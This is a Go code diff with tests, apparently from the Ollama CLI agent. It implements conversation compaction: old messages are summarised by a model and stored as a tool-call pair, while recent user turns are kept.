if chat.Messages[1].Role != "tool" || chat.Messages[1].Content != compactionSummaryMessagePrefix+"summary" {
t.Fatalf("summary tool result = %#v", chat.Messages[1])
}
}
func TestStoreArchivesCompactionWithContinuation(t *testing.T) {
store, err := New(filepath.Join(t.TempDir(), "db.sqlite"))
if err != nil {
t.Fatal(err)
}
defer store.Close()
ctx := context.Background()
for _, msg := range []api.Message{
{Role: "user", Content: "old request"},
{Role: "assistant", Content: "old answer"},
{Role: "user", Content: "recent request"},
} {
if err := store.AppendMessage(ctx, "chat-1", msg, ""); err != nil {
t.Fatal(err)
}
}
if err := store.ArchiveForCompactionWithContinuation(ctx, "chat-1", 1, "summary", true); err != nil {
t.Fatal(err)
}
chat, err := store.Chat(ctx, "chat-1")
if err != nil {
t.Fatal(err)
}
if len(chat.Messages) != 3 {
t.Fatalf("active messages = %#v, want compaction pair plus latest request", chat.Messages)
}
content := chat.Messages[1].Content
if !strings.Contains(content, compactionContinueInstruction) {
t.Fatalf("summary tool result missing continuation instruction: %q", content)
}
if chat.Messages[2].Content != "recent request" {
t.Fatalf("kept message = %#v, want recent request", chat.Messages[2])
}
var storedSummary string
if err := store.db.QueryRowContext(ctx, `
SELECT summary FROM compactions WHERE chat_id = ?
`, "chat-1").Scan(&storedSummary); err != nil {
t.Fatal(err)
}
if storedSummary != "summary" {
t.Fatalf("stored summary = %q, want raw summary", storedSummary)
}
}
func TestStoreReplacesPreviousCompactionMessages(t *testing.T) {
store, err := New(filepath.Join(t.TempDir(), "db.sqlite"))
if err != nil {
t.Fatal(err)
}
defer store.Close()
ctx := context.Background()
for _, msg := range []api.Message{
{Role: "user", Content: "old"},
{Role: "assistant", Content: "old answer"},
{Role: "user", Content: "recent"},
} {
if err := store.AppendMessage(ctx, "chat-1", msg, ""); err != nil {
t.Fatal(err)
}
}
if err := store.ArchiveForCompaction(ctx, "chat-1", 1, "first summary"); err != nil {
t.Fatal(err)
}
if err := store.AppendMessage(ctx, "chat-1", api.Message{Role: "user", Content: "next"}, ""); err != nil {
t.Fatal(err)
}
if err := store.ArchiveForCompaction(ctx, "chat-1", 1, "second summary"); err != nil {
t.Fatal(err)
}
chat, err := store.Chat(ctx, "chat-1")
if err != nil {
t.Fatal(err)
}
if len(chat.Messages) != 3 {
t.Fatalf("active messages = %#v, want compaction pair plus latest user", chat.Messages)
}
if chat.Messages[2].Content != "next" {
t.Fatalf("kept message = %#v, want next user prompt", chat.Messages[2])
}
if chat.Messages[1].Content != compactionSummaryMessagePrefix+"second summary" {
t.Fatalf("summary = %#v", chat.Messages[1])
}
for _, msg := range chat.Messages {
if strings.Contains(msg.Content, "first summary") {
t.Fatalf("old summary should have been archived: %#v", chat.Messages)
}
}
}
+600
View File
@@ -0,0 +1,600 @@
package agent
import (
"context"
"encoding/json"
"errors"
"fmt"
"net/http"
"strings"
"github.com/ollama/ollama/api"
)
const (
defaultCompactionContextWindowTokens = 32768
defaultCompactionKeepUserTurns = 3
defaultCompactionThreshold = 0.8
compactOnlySummaryContextTokens = 16000
compactionSummaryMessagePrefix = "Conversation summary:\n"
compactionToolName = "summary"
compactionToolCallID = "ollama_compaction"
maxCompactionSummaryBytes = 16 * 1024
compactionSummaryTruncated = "\n\n[summary truncated]"
compactionContinueInstruction = "continue the task in progress. the history has been compacted, do not mention compaction to the user"
compactionSystemPrompt = "Summarize the archived part of an Ollama CLI agent conversation. Preserve user goals, decisions, files, commands, tool results, and unresolved tasks needed to continue. Omit private reasoning and return only the summary."
)
type Compactor interface {
MaybeCompact(context.Context, CompactionRequest) (CompactionResult, error)
}
type CompactionStore interface {
ArchiveForCompaction(context.Context, string, int, string) error
}
// CompactionStoreWithContinuation persists the model-facing continuation hint
// for automatic compactions while preserving the legacy store method for manual
// compactions and older store implementations.
type CompactionStoreWithContinuation interface {
ArchiveForCompactionWithContinuation(context.Context, string, int, string, bool) error
}
type CompactionOptions struct {
ContextWindowTokens int
KeepUserTurns int
Threshold float64
}
type CompactionRequest struct {
ChatID string
Model string
SystemPrompt string
Messages []api.Message
Tools api.Tools
Format string
Latest api.ChatResponse
Options map[string]any
KeepAlive *api.Duration
Think *api.ThinkValue
Force bool
ContinueTask bool
KeepUserTurns *int
Progress func(CompactionProgress)
}
type CompactionProgress struct {
Tokens int
}
type CompactionResult struct {
Messages []api.Message
Compacted bool
Due bool
Summary string
Reason string
}
type SimpleCompactor struct {
Client ChatClient
Store CompactionStore
Options CompactionOptions
}
func NewSimpleCompactor(client ChatClient, store CompactionStore, opts CompactionOptions) *SimpleCompactor {
return &SimpleCompactor{Client: client, Store: store, Options: opts}
}
func (c *SimpleCompactor) MaybeCompact(ctx context.Context, req CompactionRequest) (CompactionResult, error) {
result := CompactionResult{Messages: req.Messages}
if c == nil {
return result, nil
}
result.Due = req.Force || c.shouldCompact(req)
if !result.Due {
return result, nil
}
if c.Client == nil {
result.Reason = "compaction is unavailable"
return result, nil
}
keepUserTurns := c.keepUserTurns(req.Options)
if req.KeepUserTurns != nil {
keepUserTurns = *req.KeepUserTurns
}
prefix, previousSummary, archive, suffix, keptUserTurns, ok := splitCompactionMessages(req.Messages, keepUserTurns)
if !ok || len(archive) == 0 {
result.Reason = "nothing to compact"
return result, nil
}
summary, err := c.summarize(ctx, req, previousSummary, archive)
if err != nil {
result.Reason = err.Error()
return result, err
}
summary = truncateCompactionSummary(strings.TrimSpace(summary))
if summary == "" {
summary, err = c.summarizeEmptyFallback(ctx, req, previousSummary, archive)
if err != nil {
result.Reason = err.Error()
return result, err
}
summary = truncateCompactionSummary(strings.TrimSpace(summary))
}
if summary == "" {
// TODO(parthsareen): Investigate models that stream compaction output
// without final content, such as thinking-only summaries.
result.Reason = "summary was empty"
return result, nil
}
if c.Store != nil && req.ChatID != "" {
var err error
if store, ok := c.Store.(CompactionStoreWithContinuation); ok {
err = store.ArchiveForCompactionWithContinuation(ctx, req.ChatID, keptUserTurns, summary, req.ContinueTask)
} else {
err = c.Store.ArchiveForCompaction(ctx, req.ChatID, keptUserTurns, summary)
}
if err != nil {
result.Reason = err.Error()
return result, err
}
}
compacted := make([]api.Message, 0, len(prefix)+len(suffix)+2)
compacted = append(compacted, prefix...)
compacted = append(compacted, compactionSummaryMessagesForTask(summary, req.ContinueTask)...)
compacted = append(compacted, suffix...)
result.Messages = compacted
result.Compacted = true
result.Summary = summary
return result, nil
}
func (c *SimpleCompactor) shouldCompact(req CompactionRequest) bool {
contextWindow := c.contextWindowTokens(req.Options)
threshold := int(float64(contextWindow) * c.threshold())
if threshold <= 0 {
return false
}
if req.Latest.PromptEvalCount > 0 && req.Latest.PromptEvalCount >= threshold {
return true
}
// TODO(parthsareen): If the newest kept user turn contains the oversized
// tool output, compaction can remove older history but still leave the next
// prompt above the safety threshold. Pair this estimate trigger with
// context-aware tool-output paging/range reads so the kept suffix can shrink.
return estimateCompactionRequestTokens(req) >= threshold
}
func (c *SimpleCompactor) contextWindowTokens(options map[string]any) int {
return ResolveContextWindowTokens(options, c.Options.ContextWindowTokens)
}
func (c *SimpleCompactor) keepUserTurns(options map[string]any) int {
contextWindow := c.contextWindowTokens(options)
if contextWindow > 0 && contextWindow < compactOnlySummaryContextTokens {
return 0
}
if c.Options.KeepUserTurns > 0 {
return c.Options.KeepUserTurns
}
return defaultCompactionKeepUserTurns
}
func (c *SimpleCompactor) threshold() float64 {
return ResolveCompactionThreshold(c.Options.Threshold)
}
func ResolveContextWindowTokens(options map[string]any, configured int) int {
if n := intOption(options, "num_ctx"); n > 0 {
if configured > 0 {
return min(n, configured)
}
return n
}
if configured > 0 {
return configured
}
return defaultCompactionContextWindowTokens
}
func ResolveCompactionThreshold(configured float64) float64 {
if configured > 0 {
return configured
}
return defaultCompactionThreshold
}
func (c *SimpleCompactor) summarize(ctx context.Context, req CompactionRequest, previousSummary string, archive []api.Message) (string, error) {
body, err := compactionPrompt(previousSummary, archive, c.compactionPromptBodyBudgetTokens(req.Options))
if err != nil {
return "", err
}
chatReq := &api.ChatRequest{
Model: req.Model,
Messages: []api.Message{
{
Role: "system",
Content: compactionSystemPrompt,
},
{
Role: "user",
Content: body,
},
},
Options: req.Options,
Think: req.Think,
}
if req.KeepAlive != nil {
chatReq.KeepAlive = req.KeepAlive
}
var summary strings.Builder
if err := c.Client.Chat(ctx, chatReq, func(response api.ChatResponse) error {
summary.WriteString(response.Message.Content)
if req.Progress != nil {
tokens := response.EvalCount
if tokens <= 0 {
tokens = estimateCompactionTokens(summary.String())
}
req.Progress(CompactionProgress{Tokens: tokens})
}
return nil
}); err != nil {
return "", err
}
return summary.String(), nil
}
func (c *SimpleCompactor) summarizeEmptyFallback(ctx context.Context, req CompactionRequest, previousSummary string, archive []api.Message) (string, error) {
retry := req
retry.Think = &api.ThinkValue{Value: false}
summary, err := c.summarize(ctx, retry, previousSummary, archive)
if err == nil {
return summary, nil
}
if !isUnsupportedCompactionThinkError(err) {
return "", err
}
if req.Think == nil {
return "", nil
}
retry.Think = nil
return c.summarize(ctx, retry, previousSummary, archive)
}
func isUnsupportedCompactionThinkError(err error) bool {
if err == nil {
return false
}
text := strings.ToLower(err.Error())
if !strings.Contains(text, "think") {
return false
}
var statusErr api.StatusError
if errors.As(err, &statusErr) && statusErr.StatusCode != 0 {
return statusErr.StatusCode == http.StatusBadRequest
}
return strings.Contains(text, "does not support") || strings.Contains(text, "not supported") || strings.Contains(text, "unsupported")
}
func compactionSummaryMessage(summary string) string {
return compactionSummaryMessageForTask(summary, false)
}
func compactionSummaryMessageForTask(summary string, continueTask bool) string {
content := compactionSummaryMessagePrefix + strings.TrimSpace(summary)
if continueTask {
content = strings.TrimSpace(content) + "\n\n" + compactionContinueInstruction
}
return content
}
func compactionSummaryMessages(summary string) []api.Message {
return compactionSummaryMessagesForTask(summary, false)
}
func compactionSummaryMessagesForTask(summary string, continueTask bool) []api.Message {
return []api.Message{
{
Role: "assistant",
ToolCalls: []api.ToolCall{{
ID: compactionToolCallID,
Function: api.ToolCallFunction{
Name: compactionToolName,
},
}},
},
{
Role: "tool",
ToolName: compactionToolName,
ToolCallID: compactionToolCallID,
Content: compactionSummaryMessageForTask(summary, continueTask),
},
}
}
func (c *SimpleCompactor) compactionPromptBodyBudgetTokens(options map[string]any) int {
contextWindow := c.contextWindowTokens(options)
threshold := int(float64(contextWindow) * c.threshold())
if threshold <= 0 {
return 0
}
systemTokens := estimateCompactionTokens("system") + estimateCompactionTokens(compactionSystemPrompt)
userRoleTokens := estimateCompactionTokens("user")
budget := threshold - systemTokens - userRoleTokens
if budget <= 0 {
return 0
}
return budget
}
func truncateCompactionSummary(summary string) string {
if len(summary) <= maxCompactionSummaryBytes {
return summary
}
limit := maxCompactionSummaryBytes - len(compactionSummaryTruncated)
if limit < 0 {
limit = 0
}
var b strings.Builder
for _, r := range summary {
if b.Len()+len(string(r)) > limit {
break
}
b.WriteRune(r)
}
return strings.TrimSpace(b.String()) + compactionSummaryTruncated
}
func estimateCompactionTokens(text string) int {
text = strings.TrimSpace(text)
if text == "" {
return 0
}
return max(1, (len([]rune(text))+3)/4)
}
func estimateMessagesTokens(messages []api.Message) int {
var total int
for _, msg := range messages {
total += estimateCompactionTokens(msg.Role)
total += estimateCompactionTokens(msg.Content)
total += estimateCompactionTokens(msg.Thinking)
total += estimateCompactionTokens(msg.ToolName)
total += estimateCompactionTokens(msg.ToolCallID)
for _, call := range msg.ToolCalls {
total += estimateCompactionTokens(call.Function.Name)
total += estimateCompactionTokens(call.Function.Arguments.String())
}
}
return total
}
func estimateCompactionRequestTokens(req CompactionRequest) int {
requestMessages := sanitizeMessagesForRequest(req.Messages)
if strings.TrimSpace(req.SystemPrompt) != "" {
requestMessages = make([]api.Message, 0, len(req.Messages)+1)
requestMessages = append(requestMessages, api.Message{Role: "system", Content: strings.TrimSpace(req.SystemPrompt)})
requestMessages = append(requestMessages, sanitizeMessagesForRequest(req.Messages)...)
}
payload := struct {
Messages []api.Message `json:"messages,omitempty"`
Tools api.Tools `json:"tools,omitempty"`
Format json.RawMessage `json:"format,omitempty"`
}{
Messages: requestMessages,
Tools: req.Tools,
}
if rawFormat, ok := compactionFormatForEstimate(req.Format); ok {
payload.Format = rawFormat
}
if data, err := json.Marshal(payload); err == nil {
return estimateCompactionTokens(string(data))
}
total := estimateMessagesTokens(requestMessages)
total += estimateCompactionTokens(req.Tools.String())
total += estimateCompactionTokens(req.Format)
return total
}
func compactionFormatForEstimate(format string) (json.RawMessage, bool) {
format = strings.TrimSpace(format)
if format == "" {
return nil, false
}
if format == "json" {
return json.RawMessage(`"json"`), true
}
if !json.Valid([]byte(format)) {
return nil, false
}
return json.RawMessage(format), true
}
func compactionPrompt(previousSummary string, archive []api.Message, maxTokens int) (string, error) {
messages := make([]api.Message, 0, len(archive))
for _, msg := range archive {
msg.Thinking = ""
msg.Images = nil
messages = append(messages, msg)
}
return renderCompactionPrompt(previousSummary, fitCompactionMessagesToBudget(previousSummary, messages, maxTokens))
}
func renderCompactionPrompt(previousSummary string, messages []api.Message) (string, error) {
payload, err := json.MarshalIndent(messages, "", " ")
if err != nil {
return "", fmt.Errorf("marshal compaction messages: %w", err)
}
var b strings.Builder
if strings.TrimSpace(previousSummary) != "" {
b.WriteString("Previous summary:\n")
b.WriteString(strings.TrimSpace(previousSummary))
b.WriteString("\n\n")
}
b.WriteString("Messages to archive as JSON:\n")
b.Write(payload)
return b.String(), nil
}
func fitCompactionMessagesToBudget(previousSummary string, messages []api.Message, maxTokens int) []api.Message {
if maxTokens <= 0 {
return messages
}
fitted := append([]api.Message(nil), messages...)
for range 16 {
body, err := renderCompactionPrompt(previousSummary, fitted)
if err != nil || estimateCompactionTokens(body) <= maxTokens {
return fitted
}
idx := largestCompactionContentMessage(fitted)
if idx < 0 {
return fitted
}
overageTokens := estimateCompactionTokens(body) - maxTokens
currentRunes := len([]rune(fitted[idx].Content))
nextRunes := currentRunes - overageTokens*4 - 256
if nextRunes >= currentRunes {
nextRunes = currentRunes / 2
}
nextContent := truncateToolResultContentTo(fitted[idx].Content, nextRunes)
if nextContent == fitted[idx].Content && len([]rune(nextContent)) > max(0, nextRunes) {
nextContent = forceTruncateToolResultContentTo(fitted[idx].Content, nextRunes)
}
fitted[idx].Content = nextContent
}
return fitted
}
func largestCompactionContentMessage(messages []api.Message) int {
idx := -1
size := 0
for i, msg := range messages {
n := len([]rune(msg.Content))
if n > size {
idx = i
size = n
}
}
return idx
}
func splitCompactionMessages(messages []api.Message, keepUserTurns int) (prefix []api.Message, previousSummary string, archive []api.Message, suffix []api.Message, keptUserTurns int, ok bool) {
if keepUserTurns < 0 {
keepUserTurns = defaultCompactionKeepUserTurns
}
start := 0
for start < len(messages) && messages[start].Role == "system" && !isCompactionSummary(messages[start]) {
prefix = append(prefix, messages[start])
start++
}
candidates := make([]api.Message, 0, len(messages)-start)
for i := start; i < len(messages); i++ {
msg := messages[i]
if isCompactionSummary(msg) {
previousSummary = compactionSummaryText(msg.Content)
continue
}
if isCompactionToolCall(msg) {
if i+1 < len(messages) && isCompactionSummary(messages[i+1]) {
previousSummary = compactionSummaryText(messages[i+1].Content)
i++
}
continue
}
candidates = append(candidates, msg)
}
userTurnIndexes := make([]int, 0, keepUserTurns)
for i := len(candidates) - 1; i >= 0; i-- {
if candidates[i].Role == "user" {
userTurnIndexes = append(userTurnIndexes, i)
}
}
keptUserTurns = keepUserTurns
if len(userTurnIndexes) <= keptUserTurns {
keptUserTurns = len(userTurnIndexes) - 1
}
if keptUserTurns < 0 {
keptUserTurns = 0
}
suffixStart := len(candidates)
if keptUserTurns > 0 {
suffixStart = userTurnIndexes[keptUserTurns-1]
}
if suffixStart <= 0 || len(candidates[:suffixStart]) == 0 {
return prefix, previousSummary, nil, nil, keptUserTurns, false
}
return prefix, previousSummary, candidates[:suffixStart], candidates[suffixStart:], keptUserTurns, true
}
func isCompactionToolName(name string) bool {
return name == compactionToolName
}
func isCompactionSummary(msg api.Message) bool {
return (msg.Role == "user" || msg.Role == "system" || (msg.Role == "tool" && isCompactionToolName(msg.ToolName))) &&
strings.HasPrefix(msg.Content, compactionSummaryMessagePrefix)
}
func isCompactionToolCall(msg api.Message) bool {
if msg.Role != "assistant" {
return false
}
for _, call := range msg.ToolCalls {
if isCompactionToolName(call.Function.Name) {
return true
}
}
return false
}
func compactionSummaryText(content string) string {
return strings.TrimSpace(strings.TrimSuffix(
strings.TrimSpace(strings.TrimPrefix(content, compactionSummaryMessagePrefix)),
compactionContinueInstruction,
))
}
// CompactionSummaryText returns the user-visible summary text from a compaction
// tool result.
func CompactionSummaryText(content string) string {
return compactionSummaryText(content)
}
func intOption(options map[string]any, key string) int {
if options == nil {
return 0
}
switch v := options[key].(type) {
case int:
return v
case int64:
return int(v)
case float64:
return int(v)
case float32:
return int(v)
case json.Number:
n, _ := v.Int64()
return int(n)
default:
return 0
}
}
+820
View File
@@ -0,0 +1,820 @@
package agent
import (
"context"
"net/http"
"strings"
"testing"
"github.com/ollama/ollama/api"
)
type compactionStore struct {
chatID string
keepUserTurns int
summary string
continueTask bool
}
func (s *compactionStore) ArchiveForCompaction(ctx context.Context, chatID string, keepUserTurns int, summary string) error {
return s.ArchiveForCompactionWithContinuation(ctx, chatID, keepUserTurns, summary, false)
}
func (s *compactionStore) ArchiveForCompactionWithContinuation(_ context.Context, chatID string, keepUserTurns int, summary string, continueTask bool) error {
s.chatID = chatID
s.keepUserTurns = keepUserTurns
s.summary = summary
s.continueTask = continueTask
return nil
}
type scriptedCompactionClient struct {
responses [][]api.ChatResponse
errs []error
requests []*api.ChatRequest
}
func (c *scriptedCompactionClient) Chat(_ context.Context, req *api.ChatRequest, fn api.ChatResponseFunc) error {
c.requests = append(c.requests, req)
i := len(c.requests) - 1
if i < len(c.responses) {
for _, response := range c.responses[i] {
if err := fn(response); err != nil {
return err
}
}
}
if i < len(c.errs) {
return c.errs[i]
}
return nil
}
func assertCompactionSummaryPair(t *testing.T, messages []api.Message) {
t.Helper()
if len(messages) != 2 {
t.Fatalf("compaction summary pair len = %d, want 2: %#v", len(messages), messages)
}
if messages[0].Role != "assistant" || len(messages[0].ToolCalls) != 1 || messages[0].ToolCalls[0].Function.Name != compactionToolName {
t.Fatalf("compaction assistant message = %#v", messages[0])
}
if messages[0].ToolCalls[0].Function.Arguments.Len() != 0 {
t.Fatalf("compaction summary tool call should not have arguments: %#v", messages[0].ToolCalls[0].Function.Arguments.ToMap())
}
if messages[1].Role != "tool" || messages[1].ToolName != compactionToolName || messages[1].ToolCallID != messages[0].ToolCalls[0].ID {
t.Fatalf("compaction tool result = %#v", messages[1])
}
if !strings.HasPrefix(messages[1].Content, compactionSummaryMessagePrefix) {
t.Fatalf("compaction tool result missing summary prefix: %#v", messages[1])
}
}
func TestSimpleCompactorSummarizesOldMessages(t *testing.T) {
client := &fakeClient{
responses: [][]api.ChatResponse{{
{Message: api.Message{Role: "assistant", Content: "summary"}},
}},
}
store := &compactionStore{}
compactor := NewSimpleCompactor(client, store, CompactionOptions{
ContextWindowTokens: 16000,
KeepUserTurns: 2,
Threshold: 0.5,
})
messages := []api.Message{
{Role: "system", Content: "stay pinned"},
{Role: "user", Content: "old request"},
{Role: "assistant", Content: "old answer", Thinking: "hidden"},
{Role: "user", Content: "recent one"},
{Role: "assistant", Content: "recent answer"},
{Role: "user", Content: "recent two"},
}
result, err := compactor.MaybeCompact(context.Background(), CompactionRequest{
ChatID: "chat-1",
Model: "model",
Messages: messages,
Latest: api.ChatResponse{Metrics: api.Metrics{PromptEvalCount: 12000}},
})
if err != nil {
t.Fatal(err)
}
if !result.Compacted {
t.Fatal("expected compaction")
}
compacted := result.Messages
if len(compacted) != 6 {
t.Fatalf("compacted messages = %d, want 6", len(compacted))
}
if compacted[0].Content != "stay pinned" {
t.Fatalf("first message = %#v", compacted[0])
}
if result.Summary != "summary" {
t.Fatalf("result summary = %q", result.Summary)
}
assertCompactionSummaryPair(t, compacted[1:3])
if compacted[3].Content != "recent one" || compacted[5].Content != "recent two" {
t.Fatalf("recent turns were not kept: %#v", compacted)
}
if store.chatID != "chat-1" || store.keepUserTurns != 2 || store.summary != "summary" || store.continueTask {
t.Fatalf("archive call = %#v", store)
}
if len(client.requests) != 1 {
t.Fatalf("summary requests = %d, want 1", len(client.requests))
}
if strings.Contains(client.requests[0].Messages[1].Content, "hidden") {
t.Fatal("compaction prompt should omit thinking")
}
}
func TestSimpleCompactorKeepsOnlySummaryForSmallContext(t *testing.T) {
client := &fakeClient{
responses: [][]api.ChatResponse{{
{Message: api.Message{Role: "assistant", Content: "small context summary"}},
}},
}
store := &compactionStore{}
compactor := NewSimpleCompactor(client, store, CompactionOptions{
ContextWindowTokens: compactOnlySummaryContextTokens - 1,
KeepUserTurns: 3,
Threshold: 0.5,
})
result, err := compactor.MaybeCompact(context.Background(), CompactionRequest{
ChatID: "chat-1",
Model: "model",
ContinueTask: true,
Messages: []api.Message{
{Role: "system", Content: "pinned"},
{Role: "user", Content: "old request"},
{Role: "assistant", Content: "old answer"},
{Role: "user", Content: "latest request"},
},
Latest: api.ChatResponse{Metrics: api.Metrics{PromptEvalCount: 12000}},
})
if err != nil {
t.Fatal(err)
}
if !result.Compacted {
t.Fatal("expected compaction")
}
if store.keepUserTurns != 0 {
t.Fatalf("keepUserTurns = %d, want 0 for small context", store.keepUserTurns)
}
if len(result.Messages) != 3 {
t.Fatalf("messages = %#v, want system plus compaction summary pair", result.Messages)
}
if result.Messages[0].Content != "pinned" {
t.Fatalf("leading system message not kept: %#v", result.Messages)
}
assertCompactionSummaryPair(t, result.Messages[1:])
if !strings.Contains(result.Messages[2].Content, compactionContinueInstruction) {
t.Fatalf("tool result missing continue instruction: %q", result.Messages[2].Content)
}
}
func TestSimpleCompactorAddsContinueTaskInstructionOnlyToToolResult(t *testing.T) {
client := &fakeClient{
responses: [][]api.ChatResponse{{
{Message: api.Message{Role: "assistant", Content: "summary"}},
}},
}
store := &compactionStore{}
compactor := NewSimpleCompactor(client, store, CompactionOptions{
ContextWindowTokens: 100,
KeepUserTurns: 1,
Threshold: 0.5,
})
result, err := compactor.MaybeCompact(context.Background(), CompactionRequest{
ChatID: "chat-1",
Model: "model",
ContinueTask: true,
Messages: []api.Message{
{Role: "user", Content: "old request"},
{Role: "assistant", Content: "old answer"},
{Role: "user", Content: "recent request"},
},
Latest: api.ChatResponse{Metrics: api.Metrics{PromptEvalCount: 75}},
})
if err != nil {
t.Fatal(err)
}
if result.Summary != "summary" {
t.Fatalf("result summary = %q", result.Summary)
}
content := result.Messages[1].Content
if !strings.Contains(content, compactionContinueInstruction) {
t.Fatalf("tool result missing continue instruction: %q", content)
}
if got := compactionSummaryText(content); got != "summary" {
t.Fatalf("visible summary text = %q", got)
}
if !store.continueTask || store.summary != "summary" {
t.Fatalf("archive call = %#v", store)
}
}
func TestSimpleCompactorTruncatesOversizedSummary(t *testing.T) {
longSummary := strings.Repeat("x", maxCompactionSummaryBytes+1024)
client := &fakeClient{
responses: [][]api.ChatResponse{{
{Message: api.Message{Role: "assistant", Content: longSummary}},
}},
}
store := &compactionStore{}
compactor := NewSimpleCompactor(client, store, CompactionOptions{
ContextWindowTokens: 100,
KeepUserTurns: 1,
Threshold: 0.5,
})
result, err := compactor.MaybeCompact(context.Background(), CompactionRequest{
ChatID: "chat-1",
Model: "model",
Messages: []api.Message{
{Role: "user", Content: "old one"},
{Role: "assistant", Content: "old answer"},
{Role: "user", Content: "recent one"},
},
Latest: api.ChatResponse{Metrics: api.Metrics{PromptEvalCount: 75}},
})
if err != nil {
t.Fatal(err)
}
if !result.Compacted {
t.Fatal("expected compaction")
}
if len(result.Summary) > maxCompactionSummaryBytes {
t.Fatalf("summary bytes = %d, want <= %d", len(result.Summary), maxCompactionSummaryBytes)
}
if !strings.HasSuffix(result.Summary, compactionSummaryTruncated) {
t.Fatalf("summary missing truncation marker")
}
if store.summary != result.Summary {
t.Fatalf("stored summary mismatch")
}
if !strings.Contains(result.Messages[1].Content, compactionSummaryTruncated) {
t.Fatalf("compacted message missing truncation marker: %#v", result.Messages)
}
}
func TestSimpleCompactorRetriesEmptySummaryWithThinkFalse(t *testing.T) {
client := &scriptedCompactionClient{
responses: [][]api.ChatResponse{
{{Message: api.Message{Role: "assistant", Thinking: "internal summary plan"}}},
{{Message: api.Message{Role: "assistant", Content: "fallback summary"}}},
},
}
compactor := NewSimpleCompactor(client, nil, CompactionOptions{
ContextWindowTokens: 100,
KeepUserTurns: 1,
Threshold: 0.5,
})
result, err := compactor.MaybeCompact(context.Background(), CompactionRequest{
Model: "model",
Messages: []api.Message{
{Role: "user", Content: "old request"},
{Role: "assistant", Content: "old answer"},
{Role: "user", Content: "recent request"},
},
Force: true,
})
if err != nil {
t.Fatal(err)
}
if !result.Compacted || result.Summary != "fallback summary" {
t.Fatalf("compaction result = %#v", result)
}
if len(client.requests) != 2 {
t.Fatalf("summary requests = %d, want 2", len(client.requests))
}
if client.requests[0].Think != nil {
t.Fatalf("first summary request think = %#v, want nil", client.requests[0].Think)
}
if client.requests[1].Think == nil || client.requests[1].Think.Value != false {
t.Fatalf("fallback summary request think = %#v, want false", client.requests[1].Think)
}
}
func TestSimpleCompactorIgnoresUnsupportedThinkFalseFallback(t *testing.T) {
client := &scriptedCompactionClient{
responses: [][]api.ChatResponse{
{{Message: api.Message{Role: "assistant", Thinking: "internal summary plan"}}},
nil,
},
errs: []error{
nil,
api.StatusError{StatusCode: http.StatusBadRequest, ErrorMessage: "model does not support thinking"},
},
}
compactor := NewSimpleCompactor(client, nil, CompactionOptions{
ContextWindowTokens: 100,
KeepUserTurns: 1,
Threshold: 0.5,
})
result, err := compactor.MaybeCompact(context.Background(), CompactionRequest{
Model: "model",
Messages: []api.Message{
{Role: "user", Content: "old request"},
{Role: "assistant", Content: "old answer"},
{Role: "user", Content: "recent request"},
},
Force: true,
})
if err != nil {
t.Fatal(err)
}
if result.Compacted || result.Reason != "summary was empty" {
t.Fatalf("compaction result = %#v", result)
}
if len(client.requests) != 2 {
t.Fatalf("summary requests = %d, want 2", len(client.requests))
}
if client.requests[1].Think == nil || client.requests[1].Think.Value != false {
t.Fatalf("fallback summary request think = %#v, want false", client.requests[1].Think)
}
}
func TestSimpleCompactorFallsBackToUnsetThinkWhenThinkFalseUnsupported(t *testing.T) {
client := &scriptedCompactionClient{
responses: [][]api.ChatResponse{
{{Message: api.Message{Role: "assistant", Thinking: "internal summary plan"}}},
nil,
{{Message: api.Message{Role: "assistant", Content: "unset think summary"}}},
},
errs: []error{
nil,
api.StatusError{StatusCode: http.StatusBadRequest, ErrorMessage: "think level is not supported"},
nil,
},
}
compactor := NewSimpleCompactor(client, nil, CompactionOptions{
ContextWindowTokens: 100,
KeepUserTurns: 1,
Threshold: 0.5,
})
thinkHigh := &api.ThinkValue{Value: "high"}
result, err := compactor.MaybeCompact(context.Background(), CompactionRequest{
Model: "model",
Messages: []api.Message{
{Role: "user", Content: "old request"},
{Role: "assistant", Content: "old answer"},
{Role: "user", Content: "recent request"},
},
Think: thinkHigh,
Force: true,
})
if err != nil {
t.Fatal(err)
}
if !result.Compacted || result.Summary != "unset think summary" {
t.Fatalf("compaction result = %#v", result)
}
if len(client.requests) != 3 {
t.Fatalf("summary requests = %d, want 3", len(client.requests))
}
if client.requests[0].Think != thinkHigh {
t.Fatalf("first summary request think = %#v, want original", client.requests[0].Think)
}
if client.requests[1].Think == nil || client.requests[1].Think.Value != false {
t.Fatalf("fallback summary request think = %#v, want false", client.requests[1].Think)
}
if client.requests[2].Think != nil {
t.Fatalf("unsupported fallback retry think = %#v, want nil", client.requests[2].Think)
}
}
func TestSimpleCompactorKeepsFewerTurnsForShortChats(t *testing.T) {
client := &fakeClient{
responses: [][]api.ChatResponse{{
{Message: api.Message{Role: "assistant", Content: "short summary"}},
}},
}
store := &compactionStore{}
compactor := NewSimpleCompactor(client, store, CompactionOptions{
ContextWindowTokens: 16000,
KeepUserTurns: 3,
Threshold: 0.5,
})
result, err := compactor.MaybeCompact(context.Background(), CompactionRequest{
ChatID: "chat-1",
Model: "model",
Messages: []api.Message{
{Role: "user", Content: "old request"},
{Role: "assistant", Content: "old answer"},
{Role: "user", Content: "latest request"},
},
Latest: api.ChatResponse{Metrics: api.Metrics{PromptEvalCount: 12000}},
})
if err != nil {
t.Fatal(err)
}
if !result.Compacted {
t.Fatal("expected compaction")
}
if store.keepUserTurns != 1 {
t.Fatalf("kept user turns = %d, want 1", store.keepUserTurns)
}
if len(result.Messages) != 3 {
t.Fatalf("messages = %#v, want compaction tool pair plus latest request", result.Messages)
}
assertCompactionSummaryPair(t, result.Messages[:2])
if result.Messages[2].Content != "latest request" {
t.Fatalf("latest turn was not kept: %#v", result.Messages)
}
}
func TestSimpleCompactorCanArchiveWholeShortChat(t *testing.T) {
client := &fakeClient{
responses: [][]api.ChatResponse{{
{Message: api.Message{Role: "assistant", Content: "whole summary"}},
}},
}
store := &compactionStore{}
compactor := NewSimpleCompactor(client, store, CompactionOptions{
ContextWindowTokens: 100,
KeepUserTurns: 3,
Threshold: 0.5,
})
result, err := compactor.MaybeCompact(context.Background(), CompactionRequest{
ChatID: "chat-1",
Model: "model",
Messages: []api.Message{
{Role: "user", Content: "only request"},
{Role: "assistant", Content: "only answer"},
},
Latest: api.ChatResponse{Metrics: api.Metrics{PromptEvalCount: 75}},
})
if err != nil {
t.Fatal(err)
}
if !result.Compacted {
t.Fatal("expected compaction")
}
if store.keepUserTurns != 0 {
t.Fatalf("kept user turns = %d, want 0", store.keepUserTurns)
}
if len(result.Messages) != 2 {
t.Fatalf("messages = %#v, want only compaction tool pair", result.Messages)
}
assertCompactionSummaryPair(t, result.Messages)
}
